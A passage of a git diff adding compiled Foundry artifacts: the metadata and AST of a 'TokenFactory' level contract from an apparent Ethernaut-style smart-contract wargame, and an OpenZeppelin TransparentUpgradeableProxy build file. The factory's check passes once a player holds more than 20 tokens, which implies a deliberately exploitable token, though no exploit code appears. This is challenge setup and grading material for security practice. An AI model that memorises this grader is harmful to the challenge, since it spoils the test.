keccak256\":\"0x15e2d5bd4c28a88548074c54d220e8086f638a71ed07e6b3ba5a70066fcf458d\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://90faf5851c02f9bd42c5bfb54d4f0421a2612f50ab80b2c4fa24fa3792071cc2\",\"dweb:/ipfs/QmRGM4F2PcGVF85aTfaA9YBhCHHDqrMhRjyp6fGeBTtirb\"]},\"lib/openzeppelin-contracts-06/contracts/utils/Context.sol\":{\"keccak256\":\"0x8d3cb350f04ff49cfb10aef08d87f19dcbaecc8027b0bed12f3275cd12f38cf0\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://ded47ec7c96750f9bd04bbbc84f659992d4ba901cb7b532a52cd468272cf378f\",\"dweb:/ipfs/QmfBrGtQP7rZEqEg6Wz6jh2N2Kukpj1z5v3CGWmAqrzm96\"]},\"src/levels/Token.sol\":{\"keccak256\":\"0xb02c5ed9b7c8b490f04173a884798b38a748bbe39b645288f07f3e6845b17eaa\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://0837b37e39baee1da52f560fbbc808ce9b5b803c51fcba41566c98b8d2ce1e75\",\"dweb:/ipfs/QmbzsgDR24apfizVLaYZwFbNwFWf4YQGsk1g2XpizzTZSy\"]},\"src/levels/TokenFactory.sol\":{\"keccak256\":\"0x3943749b72ba4e10a232c4bbeecdc3e23d545ae7ff8e8007cfc534a9a3f1fa29\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://3f395a9ee7481bd50e5240fe9414d5a78efa4bb7ef2c48443b23dab3db776149\",\"dweb:/ipfs/Qmaa1Dqvy2R7mA6DKqoEXgT2HZfYhhyUkgUb1MPYzDukya\"]},\"src/levels/base/Level-06.sol\":{\"keccak256\":\"0x5f361ed66f99e554235b246964ec190b7605946d4bdda9d1e781e195cd7d4042\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://dd61d1b56e74f01def821077298e041264471599a5f4fe36cc1c32ee5e21b79f\",\"dweb:/ipfs/QmSTF94B2Kxro444irxu9Z5Hw518AZ98QiTmVG9j6W8s4Z\"]}},\"version\":1}","metadata":{"compiler":{"version":"0.6.12+commit.27d51765"},"language":"Solidity","output":{"abi":[{"inputs":[{"internalType":"address","name":"previousOwner","type":"address","indexed":true},{"internalType":"address","name":"newOwner","type":"address","indexed":true}],"type":"event","name":"OwnershipTransferred","anonymous":false},{"inputs":[{"internalType":"address","name":"_player","type":"address"}],"stateMutability":"payable","type":"function","name":"createInstance","outputs":[{"internalType":"address","name":"","type":"address"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}]},{"inputs":[],"stateMutability":"nonpayable","type":"function","name":"renounceOwnership"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"stateMutability":"nonpayable","type":"function","name":"transferOwnership"},{"inputs":[{"internalType":"address payable","name":"_instance","type":"address"},{"internalType":"address","name":"_player","type":"address"}],"stateMutability":"nonpayable","type":"function","name":"validateInstance","outputs":[{"internalType":"bool","name":"","type":"bool"}]}],"devdoc":{"kind":"dev","methods":{"owner()":{"details":"Returns the address of the current owner."},"renounceOwnership()":{"details":"Leaves the contract without owner. It will not be possible to call `onlyOwner` functions anymore. Can only be called by the current owner. NOTE: Renouncing ownership will leave the contract without an owner, thereby removing any functionality that is only available to the owner."},"transferOwnership(address)":{"details":"Transfers ownership of the contract to a new account (`newOwner`). Can only be called by the current owner."}},"version":1},"userdoc":{"kind":"user","methods":{},"version":1}},"settings":{"remappings":["ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/","erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/","forge-std/=lib/forge-std/src/","openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/","openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/","openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/","openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/","openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/"],"optimizer":{"enabled":true,"runs":1000},"metadata":{"bytecodeHash":"ipfs"},"compilationTarget":{"src/levels/TokenFactory.sol":"TokenFactory"},"evmVersion":"istanbul","libraries":{}},"sources":{"lib/openzeppelin-contracts-06/contracts/access/Ownable.sol":{"keccak256":"0x15e2d5bd4c28a88548074c54d220e8086f638a71ed07e6b3ba5a70066fcf458d","urls":["bzz-raw://90faf5851c02f9bd42c5bfb54d4f0421a2612f50ab80b2c4fa24fa3792071cc2","dweb:/ipfs/QmRGM4F2PcGVF85aTfaA9YBhCHHDqrMhRjyp6fGeBTtirb"],"license":"MIT"},"lib/openzeppelin-contracts-06/contracts/utils/Context.sol":{"keccak256":"0x8d3cb350f04ff49cfb10aef08d87f19dcbaecc8027b0bed12f3275cd12f38cf0","urls":["bzz-raw://ded47ec7c96750f9bd04bbbc84f659992d4ba901cb7b532a52cd468272cf378f","dweb:/ipfs/QmfBrGtQP7rZEqEg6Wz6jh2N2Kukpj1z5v3CGWmAqrzm96"],"license":"MIT"},"src/levels/Token.sol":{"keccak256":"0xb02c5ed9b7c8b490f04173a884798b38a748bbe39b645288f07f3e6845b17eaa","urls":["bzz-raw://0837b37e39baee1da52f560fbbc808ce9b5b803c51fcba41566c98b8d2ce1e75","dweb:/ipfs/QmbzsgDR24apfizVLaYZwFbNwFWf4YQGsk1g2XpizzTZSy"],"license":"MIT"},"src/levels/TokenFactory.sol":{"keccak256":"0x3943749b72ba4e10a232c4bbeecdc3e23d545ae7ff8e8007cfc534a9a3f1fa29","urls":["bzz-raw://3f395a9ee7481bd50e5240fe9414d5a78efa4bb7ef2c48443b23dab3db776149","dweb:/ipfs/Qmaa1Dqvy2R7mA6DKqoEXgT2HZfYhhyUkgUb1MPYzDukya"],"license":"MIT"},"src/levels/base/Level-06.sol":{"keccak256":"0x5f361ed66f99e554235b246964ec190b7605946d4bdda9d1e781e195cd7d4042","urls":["bzz-raw://dd61d1b56e74f01def821077298e041264471599a5f4fe36cc1c32ee5e21b79f","dweb:/ipfs/QmSTF94B2Kxro444irxu9Z5Hw518AZ98QiTmVG9j6W8s4Z"],"license":"MIT"}},"version":1},"ast":{"absolutePath":"src/levels/TokenFactory.sol","id":1719,"exportedSymbols":{"TokenFactory":[1718]},"nodeType":"SourceUnit","src":"33:600:13","nodes":[{"id":1655,"nodeType":"PragmaDirective","src":"33:23:13","nodes":[],"literals":["solidity","^","0.6",".0"]},{"id":1656,"nodeType":"ImportDirective","src":"58:29:13","nodes":[],"absolutePath":"src/levels/base/Level-06.sol","file":"./base/Level-06.sol","scope":1719,"sourceUnit":1741,"symbolAliases":[],"unitAlias":""},{"id":1657,"nodeType":"ImportDirective","src":"88:21:13","nodes":[],"absolutePath":"src/levels/Token.sol","file":"./Token.sol","scope":1719,"sourceUnit":1654,"symbolAliases":[],"unitAlias":""},{"id":1718,"nodeType":"ContractDefinition","src":"111:521:13","nodes":[{"id":1662,"nodeType":"VariableDeclaration","src":"148:25:13","nodes":[],"constant":false,"mutability":"mutable","name":"supply","overrides":null,"scope":1718,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":1660,"name":"uint256","nodeType":"ElementaryTypeName","src":"148:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"value":{"argumentTypes":null,"hexValue":"3231303030303030","id":1661,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"165:8:13","subdenomination":null,"typeDescriptions":{"typeIdentifier":"t_rational_21000000_by_1","typeString":"int_const 21000000"},"value":"21000000"},"visibility":"internal"},{"id":1665,"nodeType":"VariableDeclaration","src":"179:25:13","nodes":[],"constant":false,"mutability":"mutable","name":"playerSupply","overrides":null,"scope":1718,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":1663,"name":"uint256","nodeType":"ElementaryTypeName","src":"179:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"value":{"argumentTypes":null,"hexValue":"3230","id":1664,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"202:2:13","subdenomination":null,"typeDescriptions":{"typeIdentifier":"t_rational_20_by_1","typeString":"int_const 20"},"value":"20"},"visibility":"internal"},{"id":1693,"nodeType":"FunctionDefinition","src":"211:209:13","nodes":[],"body":{"id":1692,"nodeType":"Block","src":"294:126:13","nodes":[],"statements":[{"assignments":[1674],"declarations":[{"constant":false,"id":1674,"mutability":"mutable","name":"token","nodeType":"VariableDeclaration","overrides":null,"scope":1692,"src":"304:11:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_contract$_Token_$1653","typeString":"contract Token"},"typeName":{"contractScope":null,"id":1673,"name":"Token","nodeType":"UserDefinedTypeName","referencedDeclaration":1653,"src":"304:5:13","typeDescriptions":{"typeIdentifier":"t_contract$_Token_$1653","typeString":"contract Token"}},"value":null,"visibility":"internal"}],"id":1679,"initialValue":{"argumentTypes":null,"arguments":[{"argumentTypes":null,"id":1677,"name":"supply","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":1662,"src":"328:6:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_uint256","typeString":"uint256"}],"id":1676,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"NewExpression","src":"318:9:13","typeDescriptions":{"typeIdentifier":"t_function_creation_nonpayable$_t_uint256_$returns$_t_contract$_Token_$1653_$","typeString":"function (uint256) returns (contract Token)"},"typeName":{"contractScope":null,"id":1675,"name":"Token","nodeType":"UserDefinedTypeName","referencedDeclaration":1653,"src":"322:5:13","typeDescriptions":{"typeIdentifier":"t_contract$_Token_$1653","typeString":"contract Token"}}},"id":1678,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"names":[],"nodeType":"FunctionCall","src":"318:17:13","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_Token_$1653","typeString":"contract Token"}},"nodeType":"VariableDeclarationStatement","src":"304:31:13"},{"expression":{"argumentTypes":null,"arguments":[{"argumentTypes":null,"id":1683,"name":"_player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":1667,"src":"360:7:13","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"argumentTypes":null,"id":1684,"name":"playerSupply","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":1665,"src":"369:12:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"argumentTypes":null,"id":1680,"name":"token","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":1674,"src":"345:5:13","typeDescriptions":{"typeIdentifier":"t_contract$_Token_$1653","typeString":"contract Token"}},"id":1682,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberName":"transfer","nodeType":"MemberAccess","referencedDeclaration":1640,"src":"345:14:13","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$_t_uint256_$returns$_t_bool_$","typeString":"function (address,uint256) external returns (bool)"}},"id":1685,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"names":[],"nodeType":"FunctionCall","src":"345:37:13","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"id":1686,"nodeType":"ExpressionStatement","src":"345:37:13"},{"expression":{"argumentTypes":null,"arguments":[{"argumentTypes":null,"id":1689,"name":"token","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":1674,"src":"407:5:13","typeDescriptions":{"typeIdentifier":"t_contract$_Token_$1653","typeString":"contract Token"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_Token_$1653","typeString":"contract Token"}],"id":1688,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"399:7:13","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":1687,"name":"address","nodeType":"ElementaryTypeName","src":"399:7:13","typeDescriptions":{"typeIdentifier":null,"typeString":null}}},"id":1690,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"names":[],"nodeType":"FunctionCall","src":"399:14:13","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"functionReturnParameters":1672,"id":1691,"nodeType":"Return","src":"392:21:13"}]},"baseFunctions":[1730],"documentation":null,"functionSelector":"7726f776","implemented":true,"kind":"function","modifiers":[],"name":"createInstance","overrides":{"id":1669,"nodeType":"OverrideSpecifier","overrides":[],"src":"267:8:13"},"parameters":{"id":1668,"nodeType":"ParameterList","parameters":[{"constant":false,"id":1667,"mutability":"mutable","name":"_player","nodeType":"VariableDeclaration","overrides":null,"scope":1693,"src":"235:15:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":1666,"name":"address","nodeType":"ElementaryTypeName","src":"235:7:13","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"value":null,"visibility":"internal"}],"src":"234:17:13"},"returnParameters":{"id":1672,"nodeType":"ParameterList","parameters":[{"constant":false,"id":1671,"mutability":"mutable","name":"","nodeType":"VariableDeclaration","overrides":null,"scope":1693,"src":"285:7:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":1670,"name":"address","nodeType":"ElementaryTypeName","src":"285:7:13","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"value":null,"visibility":"internal"}],"src":"284:9:13"},"scope":1718,"stateMutability":"payable","virtual":false,"visibility":"public"},{"id":1717,"nodeType":"FunctionDefinition","src":"426:204:13","nodes":[],"body":{"id":1716,"nodeType":"Block","src":"527:103:13","nodes":[],"statements":[{"assignments":[1704],"declarations":[{"constant":false,"id":1704,"mutability":"mutable","name":"token","nodeType":"VariableDeclaration","overrides":null,"scope":1716,"src":"537:11:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_contract$_Token_$1653","typeString":"contract Token"},"typeName":{"contractScope":null,"id":1703,"name":"Token","nodeType":"UserDefinedTypeName","referencedDeclaration":1653,"src":"537:5:13","typeDescriptions":{"typeIdentifier":"t_contract$_Token_$1653","typeString":"contract Token"}},"value":null,"visibility":"internal"}],"id":1708,"initialValue":{"argumentTypes":null,"arguments":[{"argumentTypes":null,"id":1706,"name":"_instance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":1695,"src":"557:9:13","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"id":1705,"name":"Token","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":1653,"src":"551:5:13","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_Token_$1653_$","typeString":"type(contract Token)"}},"id":1707,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"names":[],"nodeType":"FunctionCall","src":"551:16:13","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_Token_$1653","typeString":"contract Token"}},"nodeType":"VariableDeclarationStatement","src":"537:30:13"},{"expression":{"argumentTypes":null,"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":1714,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"argumentTypes":null,"arguments":[{"argumentTypes":null,"id":1711,"name":"_player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":1697,"src":"600:7:13","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"argumentTypes":null,"id":1709,"name":"token","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":1704,"src":"584:5:13","typeDescriptions":{"typeIdentifier":"t_contract$_Token_$1653","typeString":"contract Token"}},"id":1710,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberName":"balanceOf","nodeType":"MemberAccess","referencedDeclaration":1652,"src":"584:15:13","typeDescriptions":{"typeIdentifier":"t_function_external_view$_t_address_$returns$_t_uint256_$","typeString":"function (address) view external returns (uint256)"}},"id":1712,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"names":[],"nodeType":"FunctionCall","src":"584:24:13","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":">","rightExpression":{"argumentTypes":null,"id":1713,"name":"playerSupply","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":1665,"src":"611:12:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"584:39:13","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"functionReturnParameters":1702,"id":1715,"nodeType":"Return","src":"577:46:13"}]},"baseFunctions":[1739],"documentation":null,"functionSelector":"d38def5b","implemented":true,"kind":"function","modifiers":[],"name":"validateInstance","overrides":{"id":1699,"nodeType":"OverrideSpecifier","overrides":[],"src":"503:8:13"},"parameters":{"id":1698,"nodeType":"ParameterList","parameters":[{"constant":false,"id":1695,"mutability":"mutable","name":"_instance","nodeType":"VariableDeclaration","overrides":null,"scope":1717,"src":"452:25:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"},"typeName":{"id":1694,"name":"address","nodeType":"ElementaryTypeName","src":"452:15:13","stateMutability":"payable","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"value":null,"visibility":"internal"},{"constant":false,"id":1697,"mutability":"mutable","name":"_player","nodeType":"VariableDeclaration","overrides":null,"scope":1717,"src":"479:15:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":1696,"name":"address","nodeType":"ElementaryTypeName","src":"479:7:13","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"value":null,"visibility":"internal"}],"src":"451:44:13"},"returnParameters":{"id":1702,"nodeType":"ParameterList","parameters":[{"constant":false,"id":1701,"mutability":"mutable","name":"","nodeType":"VariableDeclaration","overrides":null,"scope":1717,"src":"521:4:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":1700,"name":"bool","nodeType":"ElementaryTypeName","src":"521:4:13","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"value":null,"visibility":"internal"}],"src":"520:6:13"},"scope":1718,"stateMutability":"nonpayable","virtual":false,"visibility":"public"}],"abstract":false,"baseContracts":[{"arguments":null,"baseName":{"contractScope":null,"id":1658,"name":"Level","nodeType":"UserDefinedTypeName","referencedDeclaration":1740,"src":"136:5:13","typeDescriptions":{"typeIdentifier":"t_contract$_Level_$1740","typeString":"contract Level"}},"id":1659,"nodeType":"InheritanceSpecifier","src":"136:5:13"}],"contractDependencies":[109,849,1653,1740],"contractKind":"contract","documentation":null,"fullyImplemented":true,"linearizedBaseContracts":[1718,1740,109,849],"name":"TokenFactory","scope":1719}],"license":"MIT"},"id":13} \ No newline at end of file diff --git a/contracts/out/TransparentUpgradeableProxy.sol/TransparentUpgradeableProxy.json b/contracts/out/TransparentUpgradeableProxy.sol/TransparentUpgradeableProxy.json new file mode 100644 index 000000000..d58018a24 --- /dev/null +++ b/contracts/out/TransparentUpgradeableProxy.sol/TransparentUpgradeableProxy.json @@ -0,0 +1 @@ +{"abi":[{"type":"constructor","inputs":[{"name":"_logic","type":"address","internalType":"address"},{"name":"admin_","type":"address","internalType":"address"},{"name":"_data","type":"bytes","internalType":"bytes"}],"stateMutability":"payable"},{"type":"fallback","stateMutability":"payable"},{"type":"receive","stateMutability":"payable"},{"type":"function","name":"admin","inputs":[],"outputs":[{"name":"admin_","type":"address","internalType":"address"}],"stateMutability":"nonpayable"},{"type":"function","name":"changeAdmin","inputs":[{"name":"newAdmin","type":"address","internalType":"address"}],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"implementation","inputs":[],"outputs":[{"name":"implementation_","type":"address","internalType":"address"}],"stateMutability":"nonpayable"},{"type":"function","name":"upgradeTo","inputs":[{"name":"newImplementation","type":"address","internalType":"address"}],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"upgradeToAndCall","inputs":[{"name":"newImplementation","type":"address","internalType":"address"},{"name":"data","type":"bytes","internalType":"bytes"}],"outputs":[],"stateMutability":"payable"},{"type":"event","name":"AdminChanged","inputs":[{"name":"previousAdmin","type":"address","indexed":false,"internalType":"address"},{"name":"newAdmin","type":"address","indexed":false,"internalType":"address"}],"anonymous":false},{"type":"event","name":"BeaconUpgraded","inputs":[{"name":"beacon","type":"address","indexed":true,"internalType":"address"}],"anonymous":false},{"type":"event","name":"Upgraded","inputs":[{"name":"implementation","type":"address","indexed":true,"internalType":"address"}],"anonymous":false}],"bytecode":{"object":"0x608060405260405162000df438038062000df4833981016040819052620000269162000406565b82816200003582825f6200004c565b50620000439050826200007d565b50505062000531565b6200005783620000ee565b5f82511180620000645750805b1562000078576200007683836200012f565b505b505050565b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f620000be5f8051602062000dad833981519152546001600160a01b031690565b604080516001600160a01b03928316815291841660208301520160405180910390a1620000eb816200015e565b50565b620000f981620001fb565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b905f90a250565b606062000157838360405180606001604052806027815260200162000dcd6027913962000292565b9392505050565b6001600160a01b038116620001c95760405162461bcd60e51b815260206004820152602660248201527f455243313936373a206e65772061646d696e20697320746865207a65726f206160448201526564647265737360d01b60648201526084015b60405180910390fd5b805f8051602062000dad8339815191525b80546001600160a01b0319166001600160a01b039290921691909117905550565b6001600160a01b0381163b6200026a5760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201526c1bdd08184818dbdb9d1c9858dd609a1b6064820152608401620001c0565b807f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc620001da565b60606001600160a01b0384163b620002fc5760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b6064820152608401620001c0565b5f80856001600160a01b031685604051620003189190620004e0565b5f60405180830381855af49150503d805f811462000352576040519150601f19603f3d011682016040523d82523d5f602084013e62000357565b606091505b5090925090506200036a82828662000374565b9695505050505050565b606083156200038557508162000157565b825115620003965782518084602001fd5b8160405162461bcd60e51b8152600401620001c09190620004fd565b80516001600160a01b0381168114620003c9575f80fd5b919050565b634e487b7160e01b5f52604160045260245ffd5b5f5b83811015620003fe578181015183820152602001620003e4565b50505f910152565b5f805f6060848603121562000419575f80fd5b6200042484620003b2565b92506200043460208501620003b2565b60408501519092506001600160401b038082111562000451575f80fd5b818601915086601f83011262000465575f80fd5b8151818111156200047a576200047a620003ce565b604051601f8201601f19908116603f01168101908382118183101715620004a557620004a5620003ce565b81604052828152896020848701011115620004be575f80fd5b620004d1836020830160208801620003e2565b80955050505050509250925092565b5f8251620004f3818460208701620003e2565b9190910192915050565b602081525f82518060208401526200051d816040850160208701620003e2565b601f01601f19169190910160400192915050565b61086e806200053f5f395ff3fe60806040526004361061005d575f3560e01c80635c60da1b116100425780635c60da1b146100a65780638f283970146100d6578063f851a440146100f55761006c565b80633659cfe6146100745780634f1ef286146100935761006c565b3661006c5761006a610109565b005b61006a610109565b34801561007f575f80fd5b5061006a61008e36600461070d565b610123565b61006a6100a1366004610726565b61015e565b3480156100b1575f80fd5b506100ba6101c4565b6040516001600160a01b03909116815260200160405180910390f35b3480156100e1575f80fd5b5061006a6100f036600461070d565b6101f4565b348015610100575f80fd5b506100ba610214565b610111610234565b61012161011c6102e4565b6102ed565b565b61012b61030b565b6001600160a01b03163303610156576101538160405180602001604052805f8152505f61033d565b50565b610153610109565b61016661030b565b6001600160a01b031633036101bc576101b78383838080601f0160208091040260200160405190810160405280939291908181526020018383808284375f920191909152506001925061033d915050565b505050565b6101b7610109565b5f6101cd61030b565b6001600160a01b031633036101e9576101e46102e4565b905090565b6101f1610109565b90565b6101fc61030b565b6001600160a01b031633036101565761015381610367565b5f61021d61030b565b6001600160a01b031633036101e9576101e461030b565b61023c61030b565b6001600160a01b031633036101215760405162461bcd60e51b815260206004820152604260248201527f5472616e73706172656e745570677261646561626c6550726f78793a2061646d60448201527f696e2063616e6e6f742066616c6c6261636b20746f2070726f7879207461726760648201527f6574000000000000000000000000000000000000000000000000000000000000608482015260a4015b60405180910390fd5b5f6101e46103bb565b365f80375f80365f845af43d5f803e808015610307573d5ff35b3d5ffd5b5f7fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b546001600160a01b0316919050565b610346836103e2565b5f825111806103525750805b156101b7576103618383610421565b50505050565b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f61039061030b565b604080516001600160a01b03928316815291841660208301520160405180910390a16101538161044d565b5f7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc61032e565b6103eb81610525565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b905f90a250565b60606104468383604051806060016040528060278152602001610812602791396105c9565b9392505050565b6001600160a01b0381166104c95760405162461bcd60e51b815260206004820152602660248201527f455243313936373a206e65772061646d696e20697320746865207a65726f206160448201527f646472657373000000000000000000000000000000000000000000000000000060648201526084016102db565b807fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b80547fffffffffffffffffffffffff0000000000000000000000000000000000000000166001600160a01b039290921691909117905550565b6001600160a01b0381163b6105a25760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201527f6f74206120636f6e74726163740000000000000000000000000000000000000060648201526084016102db565b807f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc6104ec565b60606001600160a01b0384163b6106485760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f60448201527f6e7472616374000000000000000000000000000000000000000000000000000060648201526084016102db565b5f80856001600160a01b03168560405161066291906107c4565b5f60405180830381855af49150503d805f811461069a576040519150601f19603f3d011682016040523d82523d5f602084013e61069f565b606091505b50915091506106af8282866106b9565b9695505050505050565b606083156106c8575081610446565b8251156106d85782518084602001fd5b8160405162461bcd60e51b81526004016102db91906107df565b80356001600160a01b0381168114610708575f80fd5b919050565b5f6020828403121561071d575f80fd5b610446826106f2565b5f805f60408486031215610738575f80fd5b610741846106f2565b9250602084013567ffffffffffffffff8082111561075d575f80fd5b818601915086601f830112610770575f80fd5b81358181111561077e575f80fd5b87602082850101111561078f575f80fd5b6020830194508093505050509250925092565b5f5b838110156107bc5781810151838201526020016107a4565b50505f910152565b5f82516107d58184602087016107a2565b9190910192915050565b602081525f82518060208401526107fd8160408501602087016107a2565b601f01601f1916919091016040019291505056fe416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a26469706673582212201cb5192ceba8c6cde969c8ea4fff22a8a08cce99288fb0565cde6dc36a94984364736f6c63430008180033b53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564","sourceMap":"1649:3469:29:-:0;;;1923:167;;;;;;;;;;;;;;;;;;:::i;:::-;2038:6;2046:5;1024:39:25;2038:6:29;2046:5;1057::25;1024:17;:39::i;:::-;-1:-1:-1;2063:20:29::1;::::0;-1:-1:-1;2076:6:29;2063:12:::1;:20::i;:::-;1923:167:::0;;;1649:3469;;2183:295:26;2321:29;2332:17;2321:10;:29::i;:::-;2378:1;2364:4;:11;:15;:28;;;;2383:9;2364:28;2360:112;;;2408:53;2437:17;2456:4;2408:28;:53::i;:::-;;2360:112;2183:295;;;:::o;4624:135::-;4688:35;4701:11;-1:-1:-1;;;;;;;;;;;4178:45:26;-1:-1:-1;;;;;4178:45:26;;4108:122;4701:11;4688:35;;;-1:-1:-1;;;;;1884:15:155;;;1866:34;;1936:15;;;1931:2;1916:18;;1909:43;1801:18;4688:35:26;;;;;;;4733:19;4743:8;4733:9;:19::i;:::-;4624:135;:::o;1897:152::-;1963:37;1982:17;1963:18;:37::i;:::-;2015:27;;-1:-1:-1;;;;;2015:27:26;;;;;;;;1897:152;:::o;6570:198:33:-;6653:12;6684:77;6705:6;6713:4;6684:77;;;;;;;;;;;;;;;;;:20;:77::i;:::-;6677:84;6570:198;-1:-1:-1;;;6570:198:33:o;4312:201:26:-;-1:-1:-1;;;;;4375:22:26;;4367:73;;;;-1:-1:-1;;;4367:73:26;;2165:2:155;4367:73:26;;;2147:21:155;2204:2;2184:18;;;2177:30;2243:34;2223:18;;;2216:62;-1:-1:-1;;;2294:18:155;;;2287:36;2340:19;;4367:73:26;;;;;;;;;4498:8;-1:-1:-1;;;;;;;;;;;4450:39:26;:56;;-1:-1:-1;;;;;;4450:56:26;-1:-1:-1;;;;;4450:56:26;;;;